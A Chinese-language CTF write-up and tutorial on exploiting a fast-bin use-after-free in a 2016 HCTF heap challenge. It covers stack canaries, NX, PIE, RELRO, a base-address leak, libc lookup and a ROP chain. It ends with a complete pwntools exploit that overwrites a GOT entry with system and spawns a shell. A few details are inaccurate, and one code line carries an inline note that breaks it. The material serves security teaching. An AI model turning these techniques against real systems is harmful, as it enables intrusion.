見微知著(一):解析ctf中的pwn--Fast bin里的UAF


  在網上關於ctf pwn的入門資料和writeup還是不少的,但是一些過渡的相關知識就比較少了,大部分賽棍都是在不斷刷題中總結和進階的。所以我覺得可以把學習過程中的遇到的一些問題和技巧總結成文,供大家參考和一起交流。當然,也不想搞那些爛大街的東西,所以,打算從一道道pwn題開始,見微知著,在題目中延伸。

 

一:工欲善其事必先利其器

  ubuntu14.01 64位(該版本對pwntools的支持最好)。

  pwntools:用於快速編寫pwn的exp的python庫,功能非常強大。

  IDA:二進制必備的工具,主要用來反匯編代碼,以及初步調試。

  libc-database:用於猜測libc.so.6庫的工具,非常好用。(可以在github里面找)

  ROPgaget:用於查找和生成ROP鏈。

  gdb:雖然Linux肯定自帶了,但還是說一下吧。

 

二:一道2016HCTF的UAFpwn題

   當然,拿到一個二進制文件,首先需要運行一下。看截圖

  

  當然,很蛋疼的是這個輸入設置的也是醉了,最好先把IDA打開,看一下怎么輸入。可以看出,這個題目的輸入邏輯還是挺簡單的,根據套路,一般是在堆上搞問題。在進行分析之前,再利用checksec(pwntools自帶了?)檢查一下文件的屬性。

     

  嗯!先來介紹一下checksec檢測的各個屬性的作用:

 

三:checksec里的各個屬性和含義

  i:Stack Guard

  最熟悉的就是Stack Guard了,最經典的防護措施,記得最早接觸是在看《深入理解計算機系統》的時候,通過在棧中插入Canary(這有一個很洋氣的中文名,金絲雀值,具體典故可以自行google額,不多廢話了),通過在return之前監測值是否變化來確定是否發生了棧溢出。對於canary,在windows上(GS機制)和Linux上的初始化還是有很大的差別的,Windows上的產生就不多加闡述了,大致是.data的頭四個字節和esp進行異或操作生成的,這里主要講一下Linux的Stack Guard。

  先來看一段有canary的匯編代碼。

  400610:       55                      push   %rbp
  400611:       48 89 e5                mov    %rsp,%rbp
  400614:       48 83 ec 30             sub    $0x30,%rsp
  400618:       89 7d dc                mov    %edi,-0x24(%rbp)
  40061b:       48 89 75 d0             mov    %rsi,-0x30(%rbp)
 40061f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax <- 插入canary值
  400626:       00 00
  400628:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  40062c:       31 c0                   xor    %eax,%eax
  40062e:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  400632:       48 89 c6                mov    %rax,%rsi
  400635:       bf 00 07 40 00          mov    $0x400700,%edi
  40063a:       b8 00 00 00 00          mov    $0x0,%eax
  40063f:       e8 cc fe ff ff          callq  400510 <__isoc99_scanf@plt>
  400644:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  400648:       48 89 c7                mov    %rax,%rdi
  40064b:       e8 80 fe ff ff          callq  4004d0 <puts@plt>
  400650:       b8 00 00 00 00          mov    $0x0,%eax
  400655:       48 8b 55 f8             mov    -0x8(%rbp),%rdx  <- 檢查canary值
 400659: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
  400660:       00 00
  400662:       74 05                   je     400669 <main+0x59> # 0x400669
  400664:       e8 77 fe ff ff          callq  4004e0 <__stack_chk_fail@plt>
  400669:       c9                      leaveq
  40066a:       c3                      retq

 

  可以看那兩行表明為紅色的匯編代碼,可以發現canary就是fs:0x28的值了,在Linux中,glbc把fs指向tls,換句話說,canary的值在tls偏移0x28處,來看一下tls的數據結構

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;        /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;   <- canary值,偏移位置0x28處
  uintptr_t pointer_guard;
  ......
} tcbhead_t;

   其中tcbhead_t就是來描述tls的了,進程加載的過程中會調用arch_prctl系統調用來設置%fs的值,而canary的值則是在glibc的_dl_main和__libc_start_main函數中通過_dl_sysdep_start函數從內核獲取的,說了這么多,就是想說,對canary的值進行猜測還是挺難的,繞過它的方法主流一般有兩種,一種是step-by-step,還有一種是覆蓋直接修改tls里的canary。當然,至於我說的繞過是正面剛,曲線救國的方法還是挺多的。以后的文章可能會就這個問題進行具體描述,這篇文章主要講堆,就不繼續擴展了。

  ii:N^X

  NX即No-eXecute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。繞過的最主流的方法就死ROP(return-orient-program)和JOP(Jump-orient-program)了,關於JOP,前一段時間打印了2010的那篇描述JOP的paper,但是這段時間到了考試周,也沒空看(其實也是因為英文爛)。而且感覺在ctf中很少看見(當然,估計是刷題刷的少),在Windows的exp上倒是經常混合使用。不過其實原理都差不多,在這個題中,會詳細描述一下pwn使用ROP的一些套路。

  iii:PIE

  其實我還是喜歡叫ALSR(address space layout randomization),無論如何,ALSR都是以頁為單位的,所以在頁中,位置不變,即可以修改最后一位進行繞過,這也是慣有套路了,這個題目就是通過這個手段來進行leak出進程的基地址。

  iv:RELRO(Relocation Read Only)

  gcc/linker/glibc dynamic-linker共同實現的,由linker指定binary的一塊經過dynamic linker處理過 relocation之后的區域為只讀。可以盡可能減少存儲區可寫地址的范圍,但是............只要有可寫的地方就有利用的機會。具體的實現可以參考  http://hardenedlinux.org/2016/11/25/RelRO.html。針對這一點,0cft2017里面的writeup有非常經典的利用

  

四:分析和利用

  靜態分析代碼怎么能少了IDA呢?把主要函數都起一個通俗易懂的名字,建立好核心的數據結構,理清具體的工作流程和堆的釋放分配器情況(這個題目顯然是在堆上搞問題)。先看一下得出的關鍵數據結構。

  根據堆分配大小可以得出這個題目是關於塊表分配的,關於堆分配的具體知識,可以去參考http://www.freebuf.com/articles/security-management/105285.html。而且在堆釋放的時候的並沒有必要的檢查。所以完全可以試着去進行UAF。

  UAF的基本流程是。malloc(sizeof(A))【A一般帶函數指針】--->init(A)---->free(A)--->占位-->A的函數解引用,這個題目中,分配空間的途徑只有一條,換句話說,這個問題的核心是如何將分配的數據覆蓋到struct_str就好了,這里的方法很多種,在這里分享一種使用兩種分配方式的方法(單純一種也可以),先看具體流程

     

  為了完整性,粗略說一下fast bin的分配釋放的方式。在fast bin中,是由單項鏈表連接起來的,每個chunk的pre_chunk指向之前回收的chunk,即回收的chunk出於鏈表頭部,此時分配時也會從頭部分配,這里值得補充的是fast bin在free的時候並不檢查double free ,這樣可以形成循環鏈表,循環鏈表可以有利於chunk循環利用,這個題目沒必要這樣,但可以了解一下,free(0)->free(1)->free(0)(本題並不使用該

使用該方法)。

  

  在本題中,先是malloc(chunk0)->malloc(chunk1),其中chunk1,chunk2都小於16個字節,即進入上圖的第二種情況。再free(chunk1)->free(chunk0),此時只要分配一個大小為0x20的buffer就可以覆蓋chunk1了。但是,這里有一個問題,題目開了PIE,所以只能覆蓋12位,這里可以在12位的范圍里找呀找,翻到了put,此時rdi指向了該chunk的,delete(chunk1)可以直接將put的位置泄露出來,根據put的位置可以得到進程加載的基地址如圖:

代碼如下:

addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d   #d2d是相對於基地址put的偏移

print 'mainBase:',
print hex(addr)

   由於題中的二進制文件並沒有system,所以需要在libc.so.6里拿到system的地址。這里有三種比較主流的方法可以得到chunk,如下:

 

五:得到libc.so.6 里的system的三種常用方法

  1:利用libc-database

    這一種是最簡單暴力的,只要你有個足夠大的libc-database就好了(其實我花了很長時間才明白這個道理的,之前都是慢慢leak出來的)。原理也很簡單,就是記住每個版本的read,write, system, ”/bin/sh"的地址,由於地址隨機化是以頁為單位的,所以拿后12位,和自己leak出來的地址后12位對比,就可以得到用相應的版本,具體如下圖:

  

  2:leakLib

    當然之前一種方法並不一定湊效,萬一平台的libc版本你database里沒有就尷尬了,所以你需要另一個方法來解決這個問題,說到這里,不得不說pwntools這個神器了,里面有關於這個的函數,你所需要的就是得到可以任意讀至少一個字節的漏洞,根據這個就可以直接直接得到systemde地址了,當然具體原理,值得用一篇的篇幅來細講,和3一起留在下一篇文章繼續說。

  3:Return-to-dl_solve     

    這個方法主要是利用自己偽造rel_entry,symtab,strtab,然后通過增大rel_offset來直接調用system函數,這種方法的原理和上一種方法一樣,需要對PE文件格式有一定的了解才能徹底理解,詳情放在下一篇。

 

六:編寫Exploit

  這個題目閑麻煩,就直接使用第一種了(畢竟打本地),后面兩種方法就放在下一篇一起解決了。在編寫exp之前,想介紹一下pwn的幾個小技巧,

    1>特別在堆上搞事情的pwn題,經常需要幾個步才能實現一次分配或者釋放,所以完全可以將封裝成一個函數,還可以增加代碼的可讀性

    2>合理使用  context()函數,gdb.attach()函數。這兩個函數訥能夠在調試中給予很大的便利,context(log_level='debug')可以輸出運行過程中io交互的細節,而gdb.attach函數則是可以利用gdb調試,特別對於在Windows下習慣用OD的人來說,gdb並不是那么用戶友好的,但是在很多場景下,gdb可能是唯一的選擇,比如利用kgdb調試Linux內核,所以用好gdb還是很有必要的,至於怎么用的話,在實踐中利用help,熟能生巧吧!

    3>學會使用pwntools的各個函數,不得不說,pwntools里對很多pwn里經常使用的東西都進行高度封裝了。

  之前已經可以控制任意指針,並leak除了進程的加載基地址,現在完全可以leak其它的地址,再通過對比后12位,這樣基本leak libc.so.6的地址了,這是說一下通用ROPgaget吧!

  在64位程序中很蛋疼的一點是,它的參數優先放在寄存器中,順序依次為rdi,rsi,rdx,rcx,r8,r9。而不是從棧中直接提取,這樣的話就不能直接把參數放到棧上面了,這里需要我們來繞一個彎,這個彎就是利用pop rdi;ret。pop rsi;ret。pop rdx;ret。來解決。在題目中,可以通過ROPgaget來獲取,但是程序中不一定能夠直接得到,所以可以通過通用Gadget。  

基本就是這一段代碼,具體的描述請參考***********(文章沒找到,最開始出現在烏雲,到后到處轉載,自己找一下應該就能找到了)

這是這個題目的ROP鏈

def creatROP():

    ropchain = p64(addr + 0x00000000000011e3) # pop rdi
    ropchain += p64(addr + 0x202070)# got@malloc
    ropchain += p64(addr + 0x0000000000000990)# plt@put
    ropchain += p64(addr + 0x00000000000011DA)# magic
    ropchain += p64(0)# rbx
    ropchain += p64(1)# rbp
    ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read
    ropchain += p64(8)# r13 -> rdx
    ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi
    ropchain += p64(0)# r15 -> rdi
    ropchain += p64(addr + 0x00000000000011C0)# magic
    ropchain += 'a'*8*7
    ropchain += p64(addr + 0x0000000000000B65)# getInt
    ropchain = 'yes AAAA'+ropchain
    return ropchain

   看起來很長,其實設計已經成為套路了,詳情可以自己調試看看。這里設計很巧妙的有點是,atoi函數直接是吧輸入字符串作為參數,這樣的話可以直接覆蓋為system的地址,然后不需要設置參數,直接調用前一個函數就可以了。

 

七:exp實現

#! /usr/bin/python
from pwn import *

# switches
DEBUG = 0
LOCAL = 1
VERBOSE = 1
 
# modify this
if LOCAL:
    target = process('./heap')
else:
    target = remote('119.28.62.216',10023)
 
if VERBOSE: context(log_level='debug')


def creatROP():
    ropchain = p64(addr + 0x00000000000011e3) # pop rdi
    ropchain += p64(addr + 0x202070)# got@malloc
    ropchain += p64(addr + 0x0000000000000990)# plt@put
    ropchain += p64(addr + 0x00000000000011DA)# magic
    ropchain += p64(0)# rbx
    ropchain += p64(1)# rbp
    ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read
    ropchain += p64(8)# r13 -> rdx
    ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi
    ropchain += p64(0)# r15 -> rdi
    ropchain += p64(addr + 0x00000000000011C0)# magic
    ropchain += 'a'*8*7
    ropchain += p64(addr + 0x0000000000000B65)# getInt
    ropchain = 'yes AAAA'+ropchain
    return ropchain

def create(size, string):
    target.recvuntil('quit')
    target.sendline('create ')
    target.recvuntil('size:')
    target.sendline(str(size))
    target.recvuntil('str:')
    target.send(string)

def delete(id,payload='yes'):
    target.recvuntil('quit')
    target.sendline('delete ')
    target.recvuntil('id:')
    target.sendline(str(id))
    target.recvuntil('sure?:')
    target.sendline(payload)


if DEBUG: gdb.attach(target)

a = raw_input('go2?')
create(4, 'aaa\n')
#a = raw_input('go?')
create(4, 'aaa\n')
#delete(0)
delete(1)
delete(0)
#create(4, '\x00')
create(0x20, 'a' * 0x16 + 'lo' + '\x2d')
delete(1)

target.recvuntil('lo')
addr = target.recvline()
addr = addr[:-1]
put_addr = u64(addr + '\x00' * (8 - len(addr)))
print 'putBase:'+str(hex(put_addr))

addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d
print 'mainBase:',

print hex(addr)

delete(0)
#create(4, '\x00')

payload1 = 'a' * 0x18 + p64(0x00000000000011DC + addr)
create(0x20,payload1)

ropchain = creatROP()
delete(1,ropchain)
addr = target.recvline()[:-1]
addr = u64(addr + '\x00' * (8 - len(addr)))
print "malloc_addr:",
print hex(addr)
addr = addr - 534112 + 288144(這里可能要自己修改基地址)
#addr = addr - 537984 + 283536
print 'System_addr:',
print hex(addr)
print 'LibBase:',
print hex(addr)

target.sendline(p64(addr)+'/bin/sh')
target.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM